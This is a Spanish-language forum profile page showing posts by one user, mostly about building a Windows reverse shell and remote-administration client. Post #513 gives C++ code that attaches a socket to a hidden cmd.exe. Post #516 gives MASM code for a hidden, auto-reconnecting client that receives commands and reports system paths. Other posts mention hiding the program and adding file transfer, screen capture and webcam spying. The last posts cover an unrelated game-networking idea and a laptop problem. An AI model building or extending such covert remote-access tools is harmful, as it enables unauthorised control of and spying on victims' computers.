Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Vaagish

#511
Sip,, me sirve.. Le estoy dando con todo (OllyDbg, depurando con VS, logica),, pero no estoy ni cerca jaja

Gracias!!
#512
Me mataste.. jaja  Descriptor = Handle?
#513
CitarY eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile

Gracias Ark! Es verdad,, no pensé en eso de esa forma.. por ende, la sentencia encargada de tal tarea es:

Código (cpp) [Seleccionar]
SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;

Yo la modifique un poco porque a mi no me funcionaba como estaba en el código,, pero igual no me funciona "a mi manera" tampoco.. estas son las cosas mas relevantes que cambie:

Código (cpp) [Seleccionar]
if (connect(Socket, (struct sockaddr*)&SA_IN, sizeof(SA_IN)) == -1)
cout << "No conectado..";

ZeroMemory(&SI, sizeof(SI));
ZeroMemory(&PI, sizeof(PI));

SI.cb = sizeof(SI);
SI.wShowWindow         = SW_HIDE;
SI.dwFlags  = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
SI.hStdInput  = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;
SI.lpDesktop  = SI.lpTitle = 0x0000;
SI.lpReserved2  = NULL;

LPSTR szCmdline  = "cmd.exe";
CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&SI, &PI);


A ver si alguien se da cuenta por que no funciona,, y aclaro el problema: El socket conecta y envía la linea de comandos,, pero si le envio una tarea, ej: "netstat" ya no responde, pero sigue conectado.. o si alguien sabe como depurar ese proceso hijo, me sirve también..
#514
Hola! Otra vez..
Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...)
Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo..

Bue,, eso nomas..

Saludos!!  ;D

EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?
#515
Ajam.. pero podría ocultarla..  :silbar: Es una posibilidad..  :rolleyes:

Saludos!!
#516
En MASM:

Lo podes declarar algo asi al socket:
Código (asm) [Seleccionar]
ThreadProc PROC

invoke Sleep, 5000
invoke WSAStartup, addr WsaV, addr wsa
invoke socket, AF_INET, SOCK_STREAM, 0
mov Sock, eax
invoke WSAAsyncSelect, Sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
mov sa.sin_family, AF_INET

invoke inet_addr, addr Direc
mov sa.sin_addr, eax

invoke htons, Puerto
mov sa.sin_port, ax

invoke connect, Sock, addr sa, sizeof sa

ret
ThreadProc ENDP


Y lo usas algo asi:
Código (asm) [Seleccionar]
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

.IF uMsg==WM_DESTROY

invoke PostQuitMessage, NULL

.ELSEIF uMsg==WM_CREATE

mov eax, OFFSET ThreadCop
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, addr ThreadID2
invoke CloseHandle, eax

.ELSEIF uMsg==WM_FINISH

;El Thread Copiar Termino, Inicio El Thread Conectar..
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax

.ELSEIF uMsg==WM_SOCK

mov edx, lParam

.IF dx==FD_CONNECT

shr edx, 16
.IF dx==NULL
; Si dx esta vacio, significa conexion exitosa, sino podemos evaluar el ErrorCode
; en dx, los errores son constantes
invoke wsprintf, addr Cnex, addr Saludo, addr RegBuffer
invoke send, Sock, addr Cnex, sizeof Cnex, 0

.ELSE

mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax

.ENDIF

.ELSEIF dx==FD_CLOSE

shr edx, 16
.IF dx!=NULL
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax
; Podemos evaluar a dx para saber el ErrorCode, en este caso no se precisa,, cualquier
; Desconexion remota significa volver a conectarse ;)
.ENDIF

.ELSEIF dx==FD_READ

shr edx, 16
.IF dx==NULL

invoke memfill, addr buffer, sizeof buffer, 0
invoke memfill, addr Dato1, sizeof Dato1, 0
invoke memfill, addr Dato2, sizeof Dato2, 0

invoke recv, Sock, addr buffer, SIZEOF buffer, 0

mov ecx, -1
mov ebx, -1
    Repite:
        inc ecx
        mov al, byte ptr ds:[buffer + ecx]
cmp al, '|'
je Salta
mov [Dato1 + ecx], al
jmp Repite
Salta:
inc ecx
inc ebx
cmp byte ptr ds:[buffer + ecx], 0
        je Salir
        mov al, byte ptr ds:[buffer + ecx]
        mov [Dato2 + ebx], al
jmp Salta
Salir:
invoke szCmp, addr Dato1, addr Find
.if eax!=0

invoke szCmp, addr Dato2, addr WinDir
.if eax!=0

invoke LoadLibrary, addr Kn32
invoke GetProcAddress, eax, addr GWD
push MAX_PATH
    push offset Ruta
    call eax

    invoke wsprintf, addr WinR, addr WinFrmt, addr Ruta
    invoke send, Sock, addr WinR, sizeof WinR, 0

invoke wsprintf, addr Bfr, addr Frmt, addr Ruta
mov eax, OFFSET ThreadBus
invoke CreateThread, NULL, NULL, eax, addr Bfr, NORMAL_PRIORITY_CLASS, addr ThreadID3
invoke CloseHandle, eax

.else

mov eax, OFFSET ThreadBus
invoke CreateThread, NULL, NULL, eax, addr Dato2, NORMAL_PRIORITY_CLASS, addr ThreadID3
invoke CloseHandle, eax

.endif

.endif


.ENDIF


Es complicado entenderlo asi.. pero a lo mejor te puede dar una idea..

Suerte!!
#517
Citaraunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional

Yo que se,, con poca cosa podes hacerlo conexión inversa, y ya de paso le pondría:
Enviar/Subir archivos, captura de pantalla y webcam.  ;D
#518
Seria algo así como utilizar los dos métodos? Debería funcionar, quizás quede un poco mas pesado, y no estoy seguro que valga la pena,, pero puede quedar bien organizado.. creo que vas a tener que optar por la que mas te parezca, o... dedicarle un poco mas de tiempo y probar todas.. la que resulte mas fácil/funcional de implementar es la que utilizas..

Suerte! Saludos!

PD: Si queres tengo algo medio armado en sockets Asyn en C++
#519
Si,, pero fíjate que yo siquiera guardo los datos,, solo los reenvío, la demora del juego depende de la velocidad del servidor en interpretar la información, interpretar el php, y enviar de vuelta a los demás jugadores.. así mismo era muy lento,, para un juego de ajedrez no supone un problema,, pero para un fps,, pss.. jeje
había "inventado" un algoritmo que ahora no recuerdo (tendría que mirar el code) que era creo yo lo mas compacto que se podía hacer para enviar los datos,, enviaba desde un cliente una ecuación (si se quiere llamar así) donde estaba la información "comprimida", los clientes descomponían la ecuación y ahí tenían las coordenadas.. todo eso para ahorrar trafico,, así mismo no funciono..

Saludos!
#520
Windows / Re: problemas con laptop
14 Febrero 2014, 00:34 AM
Dudo que sea un problema de windows,, porque a los 3 segundos de estar encendido el pc (por lo general) no llega a cargar windows,, quizas se estropeo el disco.. no aporto mucho, pero algo es algo,, me parece que debería estar en hardware esta pregunta..

Saludos! Suerte! Y bienvenida